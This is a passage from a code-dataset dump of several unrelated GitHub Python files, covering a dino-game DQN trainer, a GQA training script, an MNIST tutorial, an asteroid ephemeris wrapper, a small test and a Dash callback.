nn.ReLU(inplace=True)\n self.fc4 = nn.Linear(3136, 512)\n self.relu4 = nn.ReLU(inplace=True)\n self.fc5 = nn.Linear(512 , self.number_of_actions)\n\n def forward(self, x):\n out = self.conv1(x)\n out = self.relu1(out)\n out = self.conv2(out)\n out = self.relu2(out)\n out = self.conv3(out)\n out = self.relu3(out)\n out = out.view(out.size()[0], -1)\n out = self.fc4(out)\n out = self.relu4(out)\n out = self.fc5(out)\n\n return out\n\n\ndef init_weights(m):\n if type(m) == nn.Conv2d or type(m) == nn.Linear:\n torch.nn.init.uniform(m.weight, -0.01, 0.01)\n m.bias.data.fill_(0.01)\n\n\n\n\ndef train(model, start):\n # define Adam optimizer\n optimizer = optim.Adam(model.parameters(), lr=1e-6)\n\n # initialize mean squared error loss\n criterion = nn.MSELoss()\n\n # instantiate game\n game = Game()\n dino = DinoAgent(game)\n game_state = Game_state(dino,game)\n\n # initialize replay memory\n replay_memory = []\n\n # initial action is do nothing\n action = torch.zeros([model.number_of_actions], dtype=torch.float32)\n action[0] = 1\n image_data, reward, terminal = game_state.get_state(action)\n\n \n # image_data = resize_and_bgr2gray(image_data) no need as already called in game_state \n #image_data = image_to_tensor(image_data) \n state = torch.cat((image_data, image_data, image_data, image_data)).unsqueeze(0) #stacking 4 images\n \n print(\"printing size of input state at 0\")\n print(state.size())\n\n # initialize epsilon value\n epsilon = model.initial_epsilon\n iteration = 0\n\n epsilon_decrements = np.linspace(model.initial_epsilon, model.final_epsilon,model.number_of_iterations)\n\n # main infinite loop\n while iteration < model.number_of_iterations:\n # get output from the neural network\n output = model(state)[0]\n\n # initialize action\n action = torch.zeros([model.number_of_actions], dtype=torch.float32)\n if torch.cuda.is_available(): # put on GPU if CUDA is available\n action = action.cuda()\n\n # epsilon greedy exploration\n random_action = random.random() <= epsilon\n if random_action:\n print(\"Performed random action!\")\n action_index = [torch.randint(model.number_of_actions, torch.Size([]), dtype=torch.int)\n if random_action\n else torch.argmax(output)][0]\n\n if torch.cuda.is_available(): # put on GPU if CUDA is available\n action_index = action_index.cuda()\n\n action[action_index] = 1\n\n # get next state and reward\n image_data_1, reward, terminal = game_state.get_state(action)\n #image_data_1 = resize_and_bgr2gray(image_data_1)\n #image_data_1 = image_to_tensor(image_data_1)\n state_1 = torch.cat((state.squeeze(0)[1:, :, :], image_data_1)).unsqueeze(0)\n\n action = action.unsqueeze(0)\n reward = torch.from_numpy(np.array([reward], dtype=np.float32)).unsqueeze(0)\n\n # save transition to replay memory\n replay_memory.append((state, action, reward, state_1, terminal))\n\n # if replay memory is full, remove the oldest transition\n if len(replay_memory) > model.replay_memory_size:\n replay_memory.pop(0)\n\n # epsilon annealing\n epsilon = epsilon_decrements[iteration]\n\n # sample random minibatch\n minibatch = random.sample(replay_memory, min(len(replay_memory), model.minibatch_size))\n\n # unpack minibatch\n state_batch = torch.cat(tuple(d[0] for d in minibatch))\n action_batch = torch.cat(tuple(d[1] for d in minibatch))\n reward_batch = torch.cat(tuple(d[2] for d in minibatch))\n state_1_batch = torch.cat(tuple(d[3] for d in minibatch))\n\n if torch.cuda.is_available(): # put on GPU if CUDA is available\n state_batch = state_batch.cuda()\n action_batch = action_batch.cuda()\n reward_batch = reward_batch.cuda()\n state_1_batch = state_1_batch.cuda()\n\n # get output for the next state\n output_1_batch = model(state_1_batch)\n\n # set y_j to r_j for terminal state, otherwise to r_j + gamma*max(Q)\n y_batch = torch.cat(tuple(reward_batch[i] if minibatch[i][4]\n else reward_batch[i] + model.gamma * torch.max(output_1_batch[i])\n for i in range(len(minibatch))))\n\n # extract Q-value\n q_value = torch.sum(model(state_batch) * action_batch, dim=1)\n\n # PyTorch accumulates gradients by default, so they need to be reset in each pass\n optimizer.zero_grad()\n\n # returns a new Tensor, detached from the current graph, the result will never require gradient\n y_batch = y_batch.detach()\n\n # calculate loss\n loss = criterion(q_value, y_batch)\n\n # do backward pass\n loss.backward()\n optimizer.step()\n\n # set state to be state_1\n state = state_1\n iteration += 1\n\n if iteration % 250000 == 0:\n torch.save(model, \"pretrained_model/current_model_\" + str(iteration) + \".pth\")\n\n print(\"iteration:\", iteration, \"elapsed time:\", time.time() - start, \"epsilon:\", epsilon, \"action:\",\n action_index.cpu().detach().numpy(), \"reward:\", reward.numpy()[0][0], \"Q max:\",\n np.max(output.cpu().detach().numpy()))\n\ndef test(model):\n \n game = Game()\n dino = DinoAgent(game)\n game_state = Game_state(dino,game)\n\n \n # initial action is do nothing\n action = torch.zeros([model.number_of_actions], dtype=torch.float32)\n action[0] = 1\n image_data, reward, terminal = game_state.get_state(action)\n state = torch.cat((image_data, image_data, image_data, image_data)).unsqueeze(0)\n\n while True:\n # get output from the neural network\n output = model(state)[0]\n\n action = torch.zeros([model.number_of_actions], dtype=torch.float32)\n if torch.cuda.is_available(): # put on GPU if CUDA is available\n action = action.cuda()\n\n # get action\n action_index = torch.argmax(output)\n if torch.cuda.is_available(): # put on GPU if CUDA is available\n action_index = action_index.cuda()\n action[action_index] = 1\n\n # get next state\n image_data_1, reward, terminal = game_state.get_state(action)\n state_1 = torch.cat((state.squeeze(0)[1:, :, :], image_data_1)).unsqueeze(0)\n\n # set state to be state_1\n state = state_1\n\n\n\ndef main(mode):\n cuda_is_available = torch.cuda.is_available()\n\n if mode == 'test':\n model = torch.load(\n 'pretrained_model/current_model_750000.pth',\n map_location='cpu' if not cuda_is_available else None\n ).eval()\n\n if cuda_is_available: # put on GPU if CUDA is available\n model = model.cuda()\n\n test(model)\n\n elif mode == 'train':\n if not os.path.exists('pretrained_model/'):\n os.mkdir('pretrained_model/')\n\n model = NeuralNetwork()\n\n if cuda_is_available: # put on GPU if CUDA is available\n model = model.cuda()\n\n model.apply(init_weights)\n start = time.time()\n\n train(model, start)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1])\n\n","repo_name":"DataSenseiAryan/T-RexDinoRunner-GAME-AI-BOT","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14363,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"41446541655","text":"import os\nimport numpy as np\nimport tensorflow as tf\n\nfrom models_gqa.model import Model\nfrom models_gqa.config import build_cfg_from_argparse\nfrom util.gqa_train.data_reader import DataReader\n\n\n# Load config\ncfg = build_cfg_from_argparse()\n\n# Start session\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = str(cfg.GPU_ID)\nsess = tf.Session(config=tf.ConfigProto(\n gpu_options=tf.GPUOptions(allow_growth=cfg.GPU_MEM_GROWTH)))\n\n# Data files\nimdb_file = cfg.IMDB_FILE % cfg.TRAIN.SPLIT_VQA\nscene_graph_file = cfg.SCENE_GRAPH_FILE % \\\n cfg.TRAIN.SPLIT_VQA.replace('_balanced', '').replace('_all', '')\ndata_reader = DataReader(\n imdb_file, shuffle=True, one_pass=False, batch_size=cfg.TRAIN.BATCH_SIZE,\n T_encoder=cfg.T_ENCODER,\n vocab_question_file=cfg.VOCAB_QUESTION_FILE,\n vocab_answer_file=cfg.VOCAB_ANSWER_FILE,\n feature_type=cfg.FEAT_TYPE,\n spatial_feature_dir=cfg.SPATIAL_FEATURE_DIR,\n objects_feature_dir=cfg.OBJECTS_FEATURE_DIR,\n objects_max_num=cfg.W_FEAT,\n scene_graph_file=scene_graph_file,\n vocab_name_file=cfg.VOCAB_NAME_FILE,\n vocab_attr_file=cfg.VOCAB_ATTR_FILE,\n spatial_pos_enc_dim=cfg.SPATIAL_POS_ENC_DIM,\n bbox_tile_num=cfg.BBOX_TILE_NUM)\nnum_vocab = data_reader.batch_loader.vocab_dict.num_vocab\nnum_choices = data_reader.batch_loader.answer_dict.num_vocab\n\n# Inputs and model\ninput_seq_batch = tf.placeholder(tf.int32, [None, None])\nseq_length_batch = tf.placeholder(tf.int32, [None])\nimage_feat_batch = tf.placeholder(\n tf.float32, [None, cfg.H_FEAT, cfg.W_FEAT, cfg.D_FEAT])\nimage_valid_batch = tf.placeholder(\n tf.float32, [None, cfg.H_FEAT, cfg.W_FEAT])\nmodel = Model(\n input_seq_batch, seq_length_batch, image_feat_batch, image_valid_batch,\n num_vocab=num_vocab, num_choices=num_choices, is_training=True)\n\n# Loss function\nanswer_label_batch = tf.placeholder(tf.int32, [None])\nloss_type = cfg.TRAIN.LOSS_TYPE\nif loss_type == 'softmax':\n loss_vqa = tf.reduce_mean(\n tf.nn.sparse_softmax_cross_entropy_with_logits(\n logits=model.vqa_scores, labels=answer_label_batch))\nelif loss_type == 'sigmoid':\n loss_vqa = tf.reduce_mean(\n tf.reduce_sum(\n tf.nn.sigmoid_cross_entropy_with_logits(\n logits=model.vqa_scores,\n labels=tf.one_hot(answer_label_batch, num_choices)),\n axis=-1))\nelse:\n raise Exception('Unknown loss type: %s' % loss_type)\nloss_train = loss_vqa\nloss_total = loss_train + cfg.TRAIN.WEIGHT_DECAY * model.l2_reg\n\n# Train with Adam\nsolver = tf.train.AdamOptimizer(learning_rate=cfg.TRAIN.SOLVER.LR)\nsolver_op = solver.minimize(loss_total)\n# Save moving average of parameters\nema = tf.train.ExponentialMovingAverage(decay=cfg.TRAIN.EMA_DECAY)\nema_op = ema.apply(model.params)\nwith tf.control_dependencies([solver_op]):\n train_op = tf.group(ema_op)\n\n# Save snapshot\nsnapshot_dir = cfg.TRAIN.SNAPSHOT_DIR % cfg.EXP_NAME\nos.makedirs(snapshot_dir, exist_ok=True)\nsnapshot_saver = tf.train.Saver(max_to_keep=None) # keep all snapshots\nif cfg.TRAIN.START_ITER > 0:\n snapshot_file = os.path.join(snapshot_dir, \"%08d\" % cfg.TRAIN.START_ITER)\n print('resume training from %s' % snapshot_file)\n snapshot_saver.restore(sess, snapshot_file)\nelse:\n sess.run(tf.global_variables_initializer())\n# Save config\nnp.save(os.path.join(snapshot_dir, 'cfg.npy'), np.array(cfg))\n\n# Write summary to TensorBoard\nlog_dir = cfg.TRAIN.LOG_DIR % cfg.EXP_NAME\nos.makedirs(log_dir, exist_ok=True)\nlog_writer = tf.summary.FileWriter(log_dir, tf.get_default_graph())\nloss_vqa_ph = tf.placeholder(tf.float32, [])\naccuracy_ph = tf.placeholder(tf.float32, [])\nsummary_trn = []\nsummary_trn.append(tf.summary.scalar(\"loss/vqa\", loss_vqa_ph))\nsummary_trn.append(tf.summary.scalar(\"eval/vqa/accuracy\", accuracy_ph))\nlog_step_trn = tf.summary.merge(summary_trn)\n\n# Run training\navg_accuracy, accuracy_decay = 0., 0.99\nfor n_batch, batch in enumerate(data_reader.batches()):\n n_iter = n_batch + cfg.TRAIN.START_ITER\n if n_iter >= cfg.TRAIN.MAX_ITER:\n break\n\n feed_dict = {input_seq_batch: batch['input_seq_batch'],\n seq_length_batch: batch['seq_length_batch'],\n image_feat_batch: batch['image_feat_batch'],\n image_valid_batch: batch['image_valid_batch'],\n answer_label_batch: batch['answer_label_batch']}\n vqa_scores_value, loss_vqa_value, _ = sess.run(\n (model.vqa_scores, loss_vqa, train_op), feed_dict)\n\n # compute accuracy\n vqa_labels = batch['answer_label_batch']\n vqa_predictions = np.argmax(vqa_scores_value, axis=1)\n accuracy = np.mean(vqa_predictions == vqa_labels)\n avg_accuracy += (1-accuracy_decay) * (accuracy-avg_accuracy)\n\n # Print and add to TensorBoard summary\n if (n_iter+1) % cfg.TRAIN.LOG_INTERVAL == 0:\n print(\"exp: %s, iter = %d\\n\\t\" % (cfg.EXP_NAME, n_iter+1) +\n \"loss (vqa) = %f\\n\\t\" % (loss_vqa_value) +\n \"accuracy (current batch) = %f, \"\n \"accuracy (running average) = %f\" % (accuracy, avg_accuracy))\n summary = sess.run(log_step_trn, {loss_vqa_ph: loss_vqa_value,\n accuracy_ph: avg_accuracy})\n log_writer.add_summary(summary, n_iter+1)\n\n # Save snapshot\n if ((n_iter+1) % cfg.TRAIN.SNAPSHOT_INTERVAL == 0 or\n (n_iter+1) == cfg.TRAIN.MAX_ITER):\n snapshot_file = os.path.join(snapshot_dir, \"%08d\" % (n_iter+1))\n snapshot_saver.save(sess, snapshot_file, write_meta_graph=False)\n print('snapshot saved to ' + snapshot_file)\n","repo_name":"ronghanghu/gqa_single_hop_baseline","sub_path":"exp_gqa/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5535,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"} +{"seq_id":"24659222753","text":"# 1.开始用torch.nn包里面的函数搭建网络\n# 2.模型保存为pt文件与加载调用\n# 3.Torchvision.transofrms来做数据预处理\n# 4.DataLoader简单调用处理数据集\n\nfrom numpy.core.numeric import correlate\nimport torch as t\nfrom torch.utils.data import DataLoader\nimport torchvision as tv\n\n#预处理数据\ntransfrom = tv.transforms.Compose([\n tv.transforms.ToTensor(),\n tv.transforms.Normalize((0.5, ), (0.5, )),\n])\n# Totensor表示把灰度图像素值从0~255转化为0~1之间\n# Normalize表示对输入的减去0.5, 除以0.5\n\n# 数据集\ntrain_ts = tv.datasets.MNIST(root='./data',\n train=True,\n download=True,\n transform=transfrom)\ntest_ts = tv.datasets.MNIST(root='./data',\n train=False,\n download=True,\n transform=transfrom)\ntrain_dl = DataLoader(train_ts, batch_size=32, shuffle=True, drop_last=False)\ntest_dl = DataLoader(test_ts, batch_size=64, shuffle=True, drop_last=False)\n\n# 网络结构\n# 输入层:784个神经元\n# 隐藏层:100个神经元\n# 输出层:10个神经元\nmodel = t.nn.Sequential(t.nn.Linear(784, 100), t.nn.ReLU(),\n t.nn.Linear(100, 10), t.nn.LogSoftmax(dim=1))\n\n#定义损失函数与优化函数\nloss_fn = t.nn.NLLLoss(reduction=\"mean\")\noptimizer = t.optim.Adam(model.parameters(), lr=1e-3)\n\n# 开启训练\nfor s in range(5):\n print(\"run in step : %d\" % s)\n for i, (x_train, y_train) in enumerate(train_dl):\n x_train = x_train.view(x_train.shape[0], -1)\n y_pred = model(x_train)\n train_loss = loss_fn(y_pred, y_train)\n if (i + 1) % 100 == 0:\n print(i + 1, train_loss.item())\n model.zero_grad() # 每次训练结束后,梯度置零���避免累加带来的误差\n train_loss.backward()\n optimizer.step()\n\n# 测试模型准确率\ntotal = 0\ncorrect_count = 0\nfor test_images, test_labels in test_dl:\n for i in range(len(test_labels)):\n image = test_images[i].view(1, 784)\n with t.no_grad():\n pred_labels = model(image)\n plabels = t.exp(pred_labels)\n probs = list(plabels.numpy()[0])\n pred_label = probs.index(max(probs))\n true_label = test_labels.numpy()[i]\n if true_label == pred_label:\n correct_count += 1\n total += 1\n\n# 打印准确率和保存模型\nprint(\"total acc : %.2f\\n\" % (correct_count / total))\nt.save(model, './nn_mnist_model.pt')\n","repo_name":"Flyingdog-Huang/pytorch","sub_path":"2-BuildLNN.py","file_name":"2-BuildLNN.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22600522867","text":"from __future__ import print_function\nimport os\nfrom itertools import repeat\nimport warnings\nimport numpy as np\nimport pandas as pd\nimport pyoorb as oo\nfrom .orbits import Orbits\n\nimport time\n\n__all__ = ['PyOrbEphemerides']\n\n\ndef dtime(time_prev):\n return (time.time() - time_prev, time.time())\n\n\nclass PyOrbEphemerides(object):\n \"\"\"Generate ephemerides and propagate orbits using the python interface to Oorb.\n Inherits from Orbits and uses parent class to set orbital parameters.\n \"\"\"\n def __init__(self, ephfile=None):\n # Set translation from timescale to OpenOrb numerical representation.\n # Note all orbits are assumed to be in TT timescale.\n # Also, all dates are expected to be in MJD.\n self.timeScales = {'UTC': 1, 'UT1': 2, 'TT': 3, 'TAI': 4}\n self.elemType = {'CART': 1, 'COM': 2, 'KEP': 3, 'DEL': 4, 'EQX': 5}\n\n # Set up oorb. Call this once.\n if ephfile is None and 'OORB_DATA' in os.environ:\n ephfile = os.path.join(os.getenv('OORB_DATA'), 'de405.dat')\n self.ephfile = ephfile\n self._init_oorb()\n self.oorbElem = None\n self.orb_format = None\n\n def _init_oorb(self):\n oo.pyoorb.oorb_init(ephemeris_fname=self.ephfile)\n\n def setOrbits(self, orbitObj):\n \"\"\"Set the orbits, to be used to generate ephemerides.\n\n Immediately calls self._convertOorbElem to translate to the 'packed' oorb format.\n\n Parameters\n ----------\n orbitObj : Orbits\n The orbits to use to generate ephemerides.\n \"\"\"\n if len(orbitObj) == 0:\n raise ValueError('There are no orbits in the Orbit object.')\n self._convertToOorbElem(orbitObj.orbits, orbitObj.orb_format)\n\n def _convertToOorbElem(self, orbitDataframe, orb_format):\n \"\"\"Convert orbital elements into the numpy fortran-format array OpenOrb requires.\n\n The OpenOrb element format is a single array with elemenets:\n 0 : orbitId (cannot be a string)\n 1-6 : orbital elements, using radians for angles\n 7 : element 'type' code (1 = CART, 2 = COM, 3 = KEP, 4 = DELauny, 5 = EQX (equinoctial))\n 8 : epoch\n 9 : timescale for epoch (1 = UTC, 2 = UT1, 3 = TT, 4 = TAI : always assumes TT)\n 10 : magHv\n 11 : g\n\n Sets self.oorbElem, the orbit parameters in an array formatted for OpenOrb.\n \"\"\"\n oorbElem = np.zeros([len(orbitDataframe), 12], dtype=np.double, order='F')\n # Put in simple values for objid, or add method to test if any objId is a string.\n oorbElem[:,0] = np.arange(0, len(orbitDataframe), dtype=int) + 1\n # Add the appropriate element and epoch types:\n oorbElem[:,7] = np.zeros(len(orbitDataframe), float) + self.elemType[orb_format]\n oorbElem[:,9] = np.zeros(len(orbitDataframe), float) + self.timeScales['TT']\n # Convert other elements INCLUDING converting inclination, node, argperi to RADIANS\n if orb_format == 'KEP':\n oorbElem[:, 1] = orbitDataframe['a']\n oorbElem[:, 2] = orbitDataframe['e']\n oorbElem[:, 3] = np.radians(orbitDataframe['inc'])\n oorbElem[:, 4] = np.radians(orbitDataframe['Omega'])\n oorbElem[:, 5] = np.radians(orbitDataframe['argPeri'])\n oorbElem[:, 6] = np.radians(orbitDataframe['meanAnomaly'])\n elif orb_format == 'COM':\n oorbElem[:, 1] = orbitDataframe['q']\n oorbElem[:, 2] = orbitDataframe['e']\n oorbElem[:, 3] = np.radians(orbitDataframe['inc'])\n oorbElem[:, 4] = np.radians(orbitDataframe['Omega'])\n oorbElem[:, 5] = np.radians(orbitDataframe['argPeri'])\n oorbElem[:, 6] = orbitDataframe['tPeri']\n elif orb_format == 'CART':\n oorbElem[:, 1] = orbitDataframe['x']\n oorbElem[:, 2] = orbitDataframe['y']\n oorbElem[:, 3] = orbitDataframe['z']\n oorbElem[:, 4] = orbitDataframe['xdot']\n oorbElem[:, 5] = orbitDataframe['ydot']\n oorbElem[:, 6] = orbitDataframe['zdot']\n else:\n raise ValueError('Unknown orbit format %s: should be COM, KEP or CART.' % orb_format)\n oorbElem[:,8] = orbitDataframe['epoch']\n oorbElem[:,10] = orbitDataframe['H']\n oorbElem[:,11] = orbitDataframe['g']\n self.oorbElem = oorbElem\n self.orb_format = orb_format\n\n def _convertFromOorbElem(self, oorbElem):\n \"\"\"Translate pyoorb-style orbital element array back into dataframe.\n\n Parameters\n ----------\n oorbElem : numpy.ndarray\n The orbital elements in OpenOrb format.\n\n Returns\n -------\n Orbits\n A new Orbits instance.\n \"\"\"\n if self.orb_format == 'KEP':\n newOrbits = pd.DataFrame(self.oorbElem, columns=['objId', 'a', 'e', 'inc', 'Omega', 'argPeri',\n 'meanAnomaly', 'elem_type', 'epoch',\n 'epoch_type',\n 'H', 'g'])\n newOrbits['meanAnomaly'] = np.degrees(newOrbits['meanAnomaly'])\n elif self.orb_format == 'COM':\n newOrbits = pd.DataFrame(self.oorbElem, columns=['objId', 'q', 'e', 'inc', 'Omega', 'argPeri',\n 'tPeri', 'elem_type', 'epoch', 'epoch_type',\n 'H', 'g'])\n elif self.orb_format == 'CART':\n newOrbits = pd.DataFrame(self.oorbElem, columns = ['objId', 'x', 'y', 'z',\n 'xdot', 'ydot', 'zdot', 'elem_type', 'epoch',\n 'epoch_type', 'H', 'g'])\n else:\n raise ValueError('Unknown orbit format %s: should be COM, KEP or CART.' % self.orb_format)\n # Convert from radians to degrees.\n if self.orb_format == 'KEP' or self.orb_format =='COM':\n newOrbits['inc'] = np.degrees(newOrbits['inc'])\n newOrbits['Omega'] = np.degrees(newOrbits['Omega'])\n newOrbits['argPeri'] = np.degrees(newOrbits['argPeri'])\n # Drop columns we don't need and don't include in our standard columns.\n del newOrbits['elem_type']\n del newOrbits['epoch_type']\n # Have to swap orbit ids back to original values in Orbits object itself.\n newOrb = Orbits()\n newOrb.setOrbits(newOrbits)\n return newOrb\n\n def convertOrbitFormat(self, orb_format='CART'):\n \"\"\"Convert orbital elements from the format in orbitObj into 'format'.\n\n Parameters\n ----------\n format : str, opt\n Format to convert orbital elements into.\n\n Returns\n -------\n \"\"\"\n oorbElem, err = oo.pyoorb.oorb_element_transformation(in_orbits=self.oorbElem,\n in_element_type=self.elemType[orb_format])\n if err != 0:\n raise RuntimeError('Oorb returned error %s' % (err))\n self.oorbElem = oorbElem\n self.orb_format = orb_format\n return\n\n def _convertTimes(self, times, timeScale='UTC'):\n \"\"\"Generate an oorb-format array of the times desired for the ephemeris generation.\n\n Parameters\n ----------\n times : numpy.ndarray or float\n The ephemeris times (MJD) desired\n timeScale : str, optional\n The timescale (UTC, UT1, TT, TAI) of the ephemeris MJD values. Default = UTC, MJD.\n\n Returns\n -------\n numpy.ndarray\n The oorb-formatted 'ephTimes' array.\n \"\"\"\n if isinstance(times, float):\n times = np.array([times])\n if len(times) == 0:\n raise ValueError('Got zero times to convert for OpenOrb')\n ephTimes = np.array(list(zip(times, repeat(self.timeScales[timeScale], len(times)))),\n dtype='double', order='F')\n return ephTimes\n\n def _generateOorbEphs(self, ephTimes, obscode='I11'):\n \"\"\"Generate ephemerides using OOrb (n-body).\n\n Parameters\n ----------\n ephtimes : numpy.ndarray\n Ephemeris times in oorb format (see self.convertTimes)\n obscode : int or str, optional\n The observatory code for ephemeris generation. Default=I11 (Cerro Pachon).\n\n Returns\n -------\n numpy.ndarray\n The oorb-formatted ephemeris array.\n \"\"\"\n oorbEphems, err = oo.pyoorb.oorb_ephemeris(in_orbits=self.oorbElem, in_obscode=obscode,\n in_date_ephems=ephTimes)\n if err != 0:\n raise RuntimeError('Oorb returned error %s' % (err))\n return oorbEphems\n\n def _generateOorbEphs2body(self, ephTimes, obscode='I11'):\n \"\"\"Generate ephemerides using OOrb with two body mode.\n\n Parameters\n ----------\n ephtimes : numpy.ndarray\n Ephemeris times in oorb format (see self.convertTimes).\n obscode : int or str, optional\n The observatory code for ephemeris generation. Default=I11 (Cerro Pachon).\n\n Returns\n -------\n numpy.ndarray\n The oorb-formatted ephemeris array.\n \"\"\"\n oorbEphems, err = oo.pyoorb.oorb_ephemeris_2b(in_orbits=self.oorbElem, in_obscode=obscode,\n in_date_ephems=ephTimes)\n if err != 0:\n raise RuntimeError('Oorb returned error %s' % (err))\n return oorbEphems\n\n def _convertOorbEphs(self, oorbEphs, byObject=True):\n \"\"\"Converts oorb ephemeris array to pandas dataframe, with labeled columns.\n\n The oorb ephemeris array is a 3-d array organized as: (object / times / eph@time)\n [objid][time][ephemeris information @ that time] with ephemeris elements\n 0 : distance (geocentric distance)\n 1 : ra (deg)\n 2 : dec (deg)\n 3 : mag\n 4 : ephem mjd\n 5 : ephem mjd timescale\n 6 : dra/dt (deg/day) sky motion\n 7 : ddec/dt (deg/day) sky motion\n 8 : phase angle (deg)\n 9 : solar elongation angle (deg)\n\n Here we convert to a numpy recarray, grouped either by object (default)\n or by time (if byObject=False).\n The resulting numpy recarray is composed of columns (of each ephemeris element),\n where each column is 2-d array with first axes either 'object' or 'time'.\n - if byObject = True : [ephemeris elements][object][time]\n (i.e. the 'ra' column = 2-d array, where the [0] axis (length) equals the number of ephTimes)\n - if byObject = False : [ephemeris elements][time][object]\n (i.e. the 'ra' column = 2-d arrays, where the [0] axis (length) equals the number of objects)\n\n Parameters\n ----------\n oorbEphs : numpy.ndarray\n The oorb-formatted ephemeris values\n byObject : boolean, optional\n If True (default), resulting converted ephemerides are grouped by object.\n If False, resulting converted ephemerides are grouped by time.\n\n Returns\n -------\n numpy.recarray\n The re-arranged ephemeris values, in a 3-d array.\n \"\"\"\n ephs = np.swapaxes(oorbEphs, 2, 0)\n velocity = np.sqrt(ephs[6]**2 + ephs[7]**2)\n if byObject:\n ephs = np.swapaxes(ephs, 2, 1)\n velocity = np.swapaxes(velocity, 1, 0)\n # Create a numpy recarray.\n ephs = np.rec.fromarrays([ephs[0], ephs[1], ephs[2], ephs[3], ephs[4],\n ephs[6], ephs[7], ephs[8], ephs[9], velocity],\n names=['delta', 'ra', 'dec', 'magV', 'time', 'dradt',\n 'ddecdt', 'phase', 'solarelon', 'velocity'])\n return ephs\n\n def generateEphemerides(self, times, timeScale='UTC', obscode='I11', byObject=True,\n verbose=False):\n \"\"\"Calculate ephemerides for all orbits at times `times`.\n\n This is a public method, wrapping self._convertTimes, self._generateOorbEphs\n and self._convertOorbEphs (which include dealing with oorb-formatting of arrays).\n\n The return ephemerides are in a numpy recarray, with axes\n - if byObject = True : [ephemeris values][object][@time]\n (i.e. the 'ra' column = 2-d array, where the [0] axis (length) equals the number of ephTimes)\n - if byObject = False : [ephemeris values][time][@object]\n (i.e. the 'ra' column = 2-d arrays, where the [0] axis (length) equals the number of objects)\n\n The ephemeris values returned to the user (== columns of the recarray) are:\n ['delta', 'ra', 'dec', 'magV', 'time', 'dradt', 'ddecdt', 'phase', 'solarelon', 'velocity']\n where positions/angles are all in degrees, velocities are deg/day, and delta is the\n distance between the Earth and the object in AU.\n\n Parameters\n ----------\n ephtimes : numpy.ndarray\n Ephemeris times in oorb format (see self.convertTimes)\n obscode : int, optional\n The observatory code for ephemeris generation. Default=807 (Cerro Tololo).\n byObject : boolean, optional\n If True (default), resulting converted ephemerides are grouped by object.\n If False, resulting converted ephemerides are grouped by time.\n verbose: boolean, optional\n If True, prints time required to calculate ephemerides. Default is False.\n\n Returns\n -------\n numpy.ndarray\n The ephemeris values, organized as chosen by the user.\n \"\"\"\n t = time.time()\n ephTimes = self._convertTimes(times, timeScale=timeScale)\n oorbEphs = self._generateOorbEphs(ephTimes, obscode=obscode)\n ephs = self._convertOorbEphs(oorbEphs, byObject=byObject)\n dt, t = dtime(t)\n if verbose:\n print(\"# Calculating ephemerides for %d objects over %d times required %f seconds\"\n % (len(self.oorbElem), len(times), dt))\n return ephs\n\n def propagateOrbits(self, newEpoch):\n \"\"\"Propagate orbits from self.orbits.epoch to new epoch (MJD TT).\n\n Parameters\n ----------\n new_epoch : float\n MJD TT time for new epoch.\n\n Returns\n -------\n PyOrbEphemerides\n New PyOrbEphemerides object, containing updated orbital elements for orbits specified by 'sso'.\n \"\"\"\n newEpoch = self._convertTimes(newEpoch, timeScale='TT')\n old_orb_format = self.orb_format\n # COM format seems to crash propagation, so don't use that.\n if self.orb_format == 'COM':\n warnings.warn('Converting to CARTESIAN format elements')\n self.convertOrbitFormat(orb_format='CART')\n newOorbElem, err = oo.pyoorb.oorb_propagation_nb(in_orbits=self.oorbElem, in_epoch=newEpoch)\n if err != 0:\n raise RuntimeError('Orbit propagation returned error %d' % err)\n self.oorbElem = newOorbElem\n # Convert back to old format if necessary.\n if old_orb_format != self.orb_format:\n self.convertOrbitFormat(orb_format=old_orb_format)\n return\n","repo_name":"AsteroidSurveySimulator/objectsInField","sub_path":"oif/ooephemerides.py","file_name":"ooephemerides.py","file_ext":"py","file_size_in_byte":15379,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"36147707191","text":"import numpy as np\nimport pandas as pd\nfrom crosscompute_geotable import routines\n\n\ndef test_get_display_bundle():\n t = pd.DataFrame([\n ('a', 0, 0),\n ('b', np.nan, np.nan),\n ], columns=['name', 'longitude', 'latitude'])\n packs, properties = routines.get_display_bundle(t)\n assert len(packs) == 1\n assert packs[0][0] == 1\n assert packs[0][1] == [0, 0]\n\n t = pd.DataFrame([\n ('a', 'POINT (0 0)'),\n ('b', 'POINT EMPTY'),\n ], columns=['name', 'wkt'])\n packs, properties = routines.get_display_bundle(t)\n assert len(packs) == 1\n assert packs[0][0] == 1\n assert packs[0][1] == [0, 0]\n","repo_name":"crosscompute/crosscompute-geotable","sub_path":"tests/test_routines.py","file_name":"test_routines.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70029117229","text":"\"\"\"Callbacks for the weathercondition view. Needs to be imported in index.py\"\"\"\n\nfrom dash.dependencies import Input, Output # type: ignore\nimport plotly.express as px # type: ignore\nfrom src.database_handler import DatabaseExecutor\nfrom app import app\n\n\ndb_exec = DatabaseExecutor()\n\n\n@app.callback(\n Output(component_id='extreme-cat-stars', component_property='figure'),\n [Input(component_id='extreme-cat-select', component_property='value')]\n)\ndef display_dow_cat_plot(cat):\n \"\"\"Return barplots faceted by clustername, grouped by stars and condition.\n Rerenders every time the category is changed.\n\n Args:\n cat (str): Name of the category\n\n Returns:\n px.bar: Plotly express Bar Figure\n \"\"\"\n extreme_data = db_exec.get_extreme_weather_condition_stars(cat)\n\n fig = px.bar(\n extreme_data,\n x=\"star\",\n y=\"rel_occurrence\",\n color=\"condition\",\n hover_data=[\"starcount\"],\n hover_name=\"condition\",\n facet_col='clustername',\n facet_col_wrap=3,\n facet_row_spacing=0.03,\n height=1500,\n text=\"rel_occurrence\",\n barmode=\"group\",\n title=f\"Distribution for {cat} Grouped by Cluster and Condition\",\n labels={\n \"star\": \"Review Star value\",\n \"rel_occurrence\": \"Fraction of cluster reviews\",\n }\n )\n fig.update_xaxes(showticklabels=True)\n fig.update_yaxes(showticklabels=True)\n 